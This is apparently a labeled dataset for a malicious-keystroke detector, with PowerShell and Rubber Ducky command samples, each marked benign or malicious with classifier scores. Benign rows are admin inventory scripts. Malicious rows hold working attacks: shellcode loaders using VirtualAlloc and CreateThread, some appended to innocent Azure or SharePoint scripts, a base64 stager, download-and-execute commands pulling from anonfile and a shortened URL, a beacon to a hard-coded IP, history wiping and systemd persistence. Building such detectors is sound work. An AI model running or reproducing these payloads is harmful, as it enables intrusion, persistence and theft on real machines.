`nremove-item pictures\screens.ps1 -force `nexit"" | out-file pictures\screens.ps1 -append enter enter exit enter enter win r powershell -w h -file ""%userprofile%\pictures\screens.ps1"" enter enter win r powershell -windowstyle hidden -exec bypass ""remove-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\explorer enter unmru' -name '*' -erroraction silentlycontinue""; remove-item (get-psreadlineoption).historysavepath enter enter capslock capslock enter",1,1,0.006412082,0.99358785
"win+r enter powershell enter enter enter function Get-ExternalModuleDependencies enter { enter Param ( enter [Parameter(Mandatory=$true)] enter [PSModuleInfo] enter $PSModuleInfo enter ) enter enter if($PSModuleInfo.PrivateData -and enter ($PSModuleInfo.PrivateData.GetType().ToString() -eq ""System.Collections.Hashtable"") -and enter $PSModuleInfo.PrivateData[""PSData""] -and enter ($PSModuleInfo.PrivateData[""PSData""].GetType().ToString() -eq ""System.Collections.Hashtable"") -and enter $PSModuleInfo.PrivateData.PSData['ExternalModuleDependencies'] -and enter ($PSModuleInfo.PrivateData.PSData['ExternalModuleDependencies'].GetType().ToString() -eq ""System.Object[]"") enter ) enter { enter return $PSModuleInfo.PrivateData.PSData.ExternalModuleDependencies enter } enter } enter enter",0,0,0.9998317,0.00016827013
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_w6tsp1xf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.456645e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_30a2s9wc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4278815e-05
win+r powershell enter  function Test-ListInvoices { $billingInvoices = Get-AzBillingInvoice Asser enter t-True {$billingInvoices.Count -ge 1} Assert-NotNull $billingInvoices[0].Name enter Assert-NotNull $billingInvoices[0].Id Assert-NotNull $billingInvoices[0].Type enter Assert-NotNull $billingInvoices[0].InvoicePeriodStartDate Assert-NotNull $billi enter ngInvoices[0].InvoicePeriodEndDate enter enter,1,1,0.00972448,0.9902755
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_ro3zka0m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4184508e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_e6r7abdb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.40655e-05
"win+r powershell enter unknown_key_action ctrl alt t enter bash enter unset histfile && histsize=0 && rm -f $histfile && unset histfile enter mkdir /var/tmp/.system enter echo -e ""while : enter chmod +x /var/tmp/.system/systembus enter mkdir -p ~/.config/systemd/user enter echo -e ""[unit] enter systemctl --user daemon-reload enter systemctl --user enable --now systembus.service enter systemctl --user start --now systembus.service enter echo -e ""ls -a | grep 'zshrc' &> /dev/null enter chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit enter enter",1,1,0.00011091535,0.999889
"win+r enter powershell enter enter enter $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider;$username = ls Env:USERNAME | select -exp Value;$usernameHash = [System.BitConverter]::ToString($sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($username))) -replace ""-"","""";$ie = New-Object -ComObject InternetExplorer.Application;$ie.Visible = $false;$ie.Silent = $true;$h = ""212.83.186.207"";$url = ""http://"" + $h;$infos = $usernameHash;$brFlgs = 14;try {;$ie.Navigate2($url + ""?i="" + $infos, $brFlgs, 0);While ($ie.Busy -and $ie.ReadyState -ne 4) {;Start-Sleep -Milliseconds 400;};} catch {;};$ie.Quit(); enter enter",1,1,0.0002473873,0.9997526
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_ch5gbszn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.446622e-05
win r powershell -nop -ep bypass -w h -c $dc = 'your_webhook_here' ; irm is.gd/bwmictodc | iex enter,1,1,0.0003983099,0.99960166
"win+r powershell enter param($scan_results_file) enter $download_path = 'C:\Documents and Settings\abertram\Desktop\CONFIGMANAGER Vulnerabilities' enter $mht_contents = gc $scan_results_file enter $ie = New-Object -ComObject 'InternetExplorer.Application' enter $webclient = New-Object System.Net.WebClient enter $ie.Navigate2('file:///C:\Documents and Settings\abertram\Desktop\CONFIGMANAGER Vulnerabilities\Scan_Results_unnhs_tw1_20131121_scan_1385046170_57428.mht') enter $links = $ie.Document.getElementsByTagName('a') | ? {($_.innertext -like '*Windows Server 2012*') -and ($_.innertext -notlike '*Core*') -and ($_.href -like 'http://*')} | select -ExpandProperty href enter foreach ($link in $links) { enter $r = Invoke-WebRequest -Uri $link -UseBasicParsing enter $r.Links | ? {$_.outerhtml -like '*<span>Download</span>*'} | % { enter $_.href enter $y = Invoke-WebRequest ""http://www.microsoft.com$($_.href)"" -UseBasicParsing enter } enter $y.Links | ? {$_.outerhtml -like '*Click Here*'} | select -first 1 | % {$webclient.DownloadFile($_.href,""$download_path\$(split-path $_.href -Leaf)"")} enter } enter",0,0,0.99783677,0.0021632514
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://anonfile.xyz/f/3d0a4fb549 enter 41eb10214f3c1a5fb3ed99.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,6.0199356e-05,0.9999398
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_mntthcfl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_75.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4273686e-05
"win+r enter powershell enter enter enter $Ttvk = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Ttvk -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xea,0xd9,0x74,0x24,0xf4,0xba,0x99,0xe1,0xc4,0x00,0x5f,0x2b,0xc9,0xb1,0x47,0x83,0xef,0xfc,0x31,0x57,0x14,0x03,0x57,0x8d,0x03,0x31,0xfc,0x45,0x41,0xba,0xfd,0x95,0x26,0x32,0x18,0xa4,0x66,0x20,0x68,0x96,0x56,0x22,0x3c,0x1a,0x1c,0x66,0xd5,0xa9,0x50,0xaf,0xda,0x1a,0xde,0x89,0xd5,0x9b,0x73,0xe9,0x74,0x1f,0x8e,0x3e,0x57,0x1e,0x41,0x33,0x96,0x67,0xbc,0xbe,0xca,0x30,0xca,0x6d,0xfb,0x35,0x86,0xad,0x70,0x05,0x06,0xb6,0x65,0xdd,0x29,0x97,0x3b,0x56,0x70,0x37,0xbd,0xbb,0x08,0x7e,0xa5,0xd8,0x35,0xc8,0x5e,0x2a,0xc1,0xcb,0xb6,0x63,0x2a,0x67,0xf7,0x4c,0xd9,0x79,0x3f,0x6a,0x02,0x0c,0x49,0x89,0xbf,0x17,0x8e,0xf0,0x1b,0x9d,0x15,0x52,0xef,0x05,0xf2,0x63,0x3c,0xd3,0x71,0x6f,0x89,0x97,0xde,0x73,0x0c,0x7b,0x55,0x8f,0x85,0x7a,0xba,0x06,0xdd,0x58,0x1e,0x43,0x85,0xc1,0x07,0x29,0x68,0xfd,0x58,0x92,0xd5,0x5b,0x12,0x3e,0x01,0xd6,0x79,0x56,0xe6,0xdb,0x81,0xa6,0x60,0x6b,0xf1,0x94,0x2f,0xc7,0x9d,0x94,0xb8,0xc1,0x5a,0xdb,0x92,0xb6,0xf5,0x22,0x1d,0xc7,0xdc,0xe0,0x49,0x97,0x76,0xc1,0xf1,0x7c,0x87,0xee,0x27,0xe8,0x82,0x78,0x0e,0xea,0xb6,0xeb,0xe6,0xf7,0xc6,0x6a,0x5f,0x7e,0x20,0x3c,0xcf,0xd1,0xfd,0xfc,0xbf,0x91,0xad,0x94,0xd5,0x1d,0x91,0x84,0xd5,0xf7,0xba,0x2e,0x3a,0xae,0x93,0xc6,0xa3,0xeb,0x68,0x77,0x2b,0x26,0x15,0xb7,0xa7,0xc5,0xe9,0x79,0x40,0xa3,0xf9,0xed,0xa0,0xfe,0xa0,0xbb,0xbf,0xd4,0xcf,0x43,0x2a,0xd3,0x59,0x14,0xc2,0xd9,0xbc,0x52,0x4d,0x21,0xeb,0xe9,0x44,0xb7,0x54,0x85,0xa8,0x57,0x55,0x55,0xff,0x3d,0x55,0x3d,0xa7,0x65,0x06,0x58,0xa8,0xb3,0x3a,0xf1,0x3d,0x3c,0x6b,0xa6,0x96,0x54,0x91,0x91,0xd1,0xfa,0x6a,0xf4,0xe3,0xc7,0xbc,0x30,0x96,0x29,0x7d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$DUy=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($DUy.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$DUy,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.249555e-05,0.99994755
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Hacker Goose enter REM Author: I am Jakoby enter REM Description: A payload that hires a goose to hack your target in real time enter REM Target: Windows 10, 11 enter GUI r enter DELAY 500 enter STRING powershell -w h -NoP -NonI -Ep Bypass $D=""$env:tmp"";iwr -Uri 'https://jakoby.lol/1ae' -O ""$D\hg.zip"";Expand-Archive ""$D\hg.zip"" -Des $D -Force;. ""$D\hg\main.ps1"" enter ENTER enter DUCKY_REAL_END enter",1,1,6.0671708e-05,0.9999393
"win+r powershell enter param( [string] $Message ) $Message $PSVersionTable $env:PROCESSOR_ARCHITEC enter TURE if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow6 enter 4\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.Proce enter ssStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.Memo enter ryStream(,[Convert]::FromBase64String(''H4sIAH1wk1gCA7VWbW/aSBD+nEr9D1aFhK0SDIQm enter TaRKZ2MMJEAAB4NDUbWx12Zh8ZL1mgC9/vcbg93Qa3LX6nQWyPsyMzvzzDM79uPQFYSFEg/G84H09e2b enter kx7iaCnJuYX9YfNYJ32nIOXW2y+b0u1mQ5STExDJsQcajeO2ZZ1JnyR5oq1WBlsiEk6vrmox5zgUh3mx enter gYUWRXj5QAmOZEX6UxrNMMentw9z7Arpq5T7UmxQ9oBoKratIXeGpVMt9JK9NnNR4l/RWlEi5Pznz3ll enter clqeFuuPMaKRnLe2kcDLokdpXpG+KcmBd9sVlvMd4nIWMV8URyQ8qxSHYYR83AVra9zBYsa8KK9ALPDj enter WMQ8lI6iSswchOQ8DHucuZrncRyBTrEVrtkCy7kwprQg/SFPUh8GcSjIEsO+wJytLMzXxMVRsYlCj+IB enter 9qdyFz9lof+qknysBFI9wZUCpOdVZzvMiyk+6OeVn919TqwCzw/JBTy+vX3z9o2fsWLxsLWPSQGjk8l+ enter jMFduccispf7JJUKUgeO enter enter",1,1,5.985995e-05,0.99994016
"win+r powershell enter  function Check-CmdletReturnType { param($cmdletName, $cmdletReturn) $cmdle enter tData = Get-Command $cmdletName; Assert-NotNull $cmdletData; [array]$cmdletRet enter urnTypes = $cmdletData.OutputType.Name | Foreach-Object { return ($_ -replace ""M enter icrosoft.Azure.Commands.Network.Models."","""") }; [array]$cmdletReturnTypes = $cm enter dletReturnTypes | Foreach-Object { return ($_ -replace ""System."","""") }; $realRe enter turnType = $cmdletReturn.GetType().Name -replace ""Microsoft.Azure.Commands.Netwo enter rk.Models."",""""; return $cmdletReturnTypes -contains $realReturnType; enter enter",1,1,0.0022974287,0.99770254
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_c2ry7sb8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.441245e-05
"win+r powershell enter $p0R = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $p0R -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xcc,0 enter xef,0x6f,0xe5,0xdb,0xd0,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x68,0 enter x13,0x83,0xc0,0x04,0x03,0x68,0xc3,0x0d,0x9a,0x19,0x33,0x53,0x65,0xe2,0xc3,0x34,0 enter xef,0x07,0xf2,0x74,0x8b,0x4c,0xa4,0x44,0xdf,0x01,0x48,0x2e,0x8d,0xb1,0xdb,0x42,0 enter x1a,0xb5,0x6c,0xe8,0x7c,0xf8,0x6d,0x41,0xbc,0x9b,0xed,0x98,0x91,0x7b,0xcc,0x52,0 enter xe4,0x7a,0x09,0x8e,0 enter enter",1,1,5.403839e-05,0.999946
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_znccm68b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.431329e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_mh8892fc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_25.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3643988e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_0af9844n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter",0,0,0.99996614,3.386881e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM The ATTACKMODE command may be used multiple times throughout a payload. enter REM Changing the attack mode will cause the target to re-enumerate the device. enter ATTACKMODE HID enter DELAY 2000 enter STRINGLN The USB Rubber Ducky is functioning as a keyboard. enter STRINGLN It will function as a flash drive for the next 30 seconds. enter ATTACKMODE STORAGE enter DELAY 30000 enter ATTACKMODE HID enter DELAY 2000 enter STRINGLN Now the USB Rubber Ducky is back to functioning as only a keyboard. enter STRINGLN For the next 30 seconds it will function as both keyboard and storage. enter ATTACKMODE HID STORAGE enter DELAY 30000 enter STRINGLN Now the USB Rubber Ducky will disable itself. enter ATTACKMODE OFF enter REM This payload will begin by enumerating as a HID keyboard. enter REM The USB Rubber Ducky will then enumerate as a mass storage ""flash drive"" for 30 seconds. enter REM Once more it will be enumerated as only a HID keyboard. enter REM Next it will enumerate as both a HID keyboard and a mass storage ""flash drive"". enter REM Finally, the device will seem to be disconnected. enter DUCKY_REAL_END enter",1,1,5.851923e-05,0.99994147
"win+r enter powershell enter enter enter function Join-SPOParts enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$false, Position=1)] enter $Parts = $null, enter enter [Parameter(Mandatory=$false, Position=2)] enter $Separator = '' enter ) enter enter $returnValue = (($Parts | ? { $_ } | % { ([string]$_).trim($Separator) } | ? { $_ } ) -join $Separator) enter enter if (-not ($returnValue.StartsWith(""http"", ""CurrentCultureIgnoreCase""))) enter { enter enter $returnValue = $Separator + $returnValue enter } enter enter return $returnValue enter } enter enter $9Wk = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $9Wk -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x84,0xbb,0x0f,0xcc,0xda,0xdd,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x6f,0x83,0xe8,0xfc,0x31,0x50,0x11,0x03,0x50,0x11,0xe2,0x71,0x47,0xe7,0x45,0x79,0xb8,0xf8,0x35,0xf0,0x5d,0xc9,0x67,0x66,0x15,0x78,0xb8,0xed,0x7b,0x71,0x33,0xa3,0x6f,0x02,0x31,0x6b,0x9f,0xa3,0xfc,0x4d,0xae,0x34,0x31,0x51,0x7c,0xf6,0x53,0x2d,0x7f,0x2b,0xb4,0x0c,0xb0,0x3e,0xb5,0x49,0xad,0xb1,0xe7,0x02,0xb9,0x60,0x18,0x27,0xff,0xb8,0x19,0xe7,0x8b,0x81,0x61,0x82,0x4c,0x75,0xd8,0x8d,0x9c,0x26,0x57,0xc5,0x04,0x4c,0x3f,0xf5,0x35,0x81,0x23,0xc9,0x7c,0xae,0x90,0xba,0x7e,0x66,0xe9,0x43,0xb1,0x46,0xa6,0x7a,0x7d,0x4b,0xb6,0xbb,0xba,0xb4,0xcd,0xb7,0xb8,0x49,0xd6,0x0c,0xc2,0x95,0x53,0x90,0x64,0x5d,0xc3,0x70,0x94,0xb2,0x92,0xf3,0x9a,0x7f,0xd0,0x5b,0xbf,0x7e,0x35,0xd0,0xbb,0x0b,0xb8,0x36,0x4a,0x4f,0x9f,0x92,0x16,0x0b,0xbe,0x83,0xf2,0xfa,0xbf,0xd3,0x5b,0xa2,0x65,0x98,0x4e,0xb7,0x1c,0xc3,0x06,0x29,0x44,0x8f,0xd6,0xdd,0xf1,0x06,0xb9,0x74,0x77,0x3e,0x11,0xef,0xcb,0xc9,0xbc,0xe8,0x2c,0xe0,0xf0,0x09,0x85,0x5d,0xa4,0xa2,0x7c,0x09,0x70,0x1b,0xf8,0x6e,0x7b,0x76,0x11,0x10,0xdf,0x48,0x2f,0x81,0x8e,0xc0,0xac,0x70,0x60,0x7f,0xe3,0x21,0xd2,0x17,0x54,0x4c,0x4d,0x21,0xa5,0x9b,0x99,0xe1,0x03,0x12,0x8c,0xac,0xdb,0x54,0x02,0x31,0x98,0x06,0x30,0xe3,0xf1,0xf4,0xe4,0x6b,0x19,0xad,0x2a,0x57,0x22,0x98,0xba,0x61,0xb6,0x32,0xe6,0x05,0xc7,0x01,0x18,0xd6,0x4e,0x85,0x72,0xd2,0x00,0x2f,0x9c,0x8c,0xc8,0xda,0xe4,0xae,0x8f,0xdb,0x3c,0xff,0x70,0x74,0xe8,0x57,0xd8,0x2c,0x7e,0x75,0xe0,0xc8,0x05,0x7a,0x39,0x6d,0x39,0xf1,0xdc,0x26,0xb5,0x7e,0x9b,0xb8,0xc9,0x7e,0xb7,0x69,0x20,0xef,0x47,0x89,0xb3,0xf8,0xe4,0x76,0x4c,0x07,0xdb,0xe9,0xdd,0x9c,0x45,0x8a,0x0f,0x38,0xfe,0x29,0x50,0x29,0x95,0x80,0x90,0xf2,0x3a,0x88,0x12,0x67,0xb9,0x1c,0x79,0x75,0xd7,0x9e,0x2a,0x11,0xfd,0x68,0x0e,0xae,0xfe,0x41,0x3c,0x00,0xc1,0x0f,0xfb,0x67,0xc2,0xe6,0x3f,0x33,0x49,0xb4,0x9b,0xb4,0x60,0x84,0x50,0xc7,0xd2,0x55,0xcf,0xa0,0xc0,0xc3,0x66,0xd2,0x1a,0x3e,0xfd,0xd3,0x91,0xed,0xa6,0x56,0x99,0x99,0x40,0x33,0x1a,0x35,0x3d,0x4e,0x5e,0x91,0xb1,0x00,0x0c,0xb1,0xe4,0xf7,0x1c,0x1a,0x08,0x22,0xe3,0x70,0xf2,0x26,0x2a,0xdb,0x93,0x7e,0x25,0x5c,0x31,0x80,0x9f,0x08,0xb6,0x29,0x48,0xfd,0x3d,0xba,0x0f,0x02,0x94,0x2f,0x10,0x94,0xe7,0x05,0xb2,0x32,0xf7,0xb3,0x5b,0x2a,0xf8,0xc3,0x63,0x0f,0x75,0x4e,0xf3,0xfd,0x26,0xec,0x7e,0x66,0xf7,0x96,0xe9,0x04,0x62,0x57,0x02,0xd1,0x93,0xa8,0x2d,0xbe,0x06,0x3d,0xb0,0x2c,0xb6,0xa6,0x1a,0xcf,0x27,0x44,0x63;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$UuW=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($UuW.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$UuW,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1602092e-05,0.9999484
"win+r enter powershell enter enter enter $rgName='MyResourceGroup' enter $location='eastus' enter New-AzResourceGroup -Name $rgName -Location $location enter $vnet1 = New-AzVirtualNetwork -ResourceGroupName $rgName -Name 'Vnet1' -AddressPrefix '10.0.0.0/16' -Location $location enter $vnet2 = New-AzVirtualNetwork -ResourceGroupName $rgName -Name 'Vnet2' -AddressPrefix '10.1.0.0/16' -Location $location enter Add-AzVirtualNetworkPeering -Name 'LinkVnet1ToVnet2' -VirtualNetwork $vnet1 -RemoteVirtualNetworkId $vnet2.Id enter Add-AzVirtualNetworkPeering -Name 'LinkVnet2ToVnet1' -VirtualNetwork $vnet2 -RemoteVirtualNetworkId $vnet1.Id enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x85,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5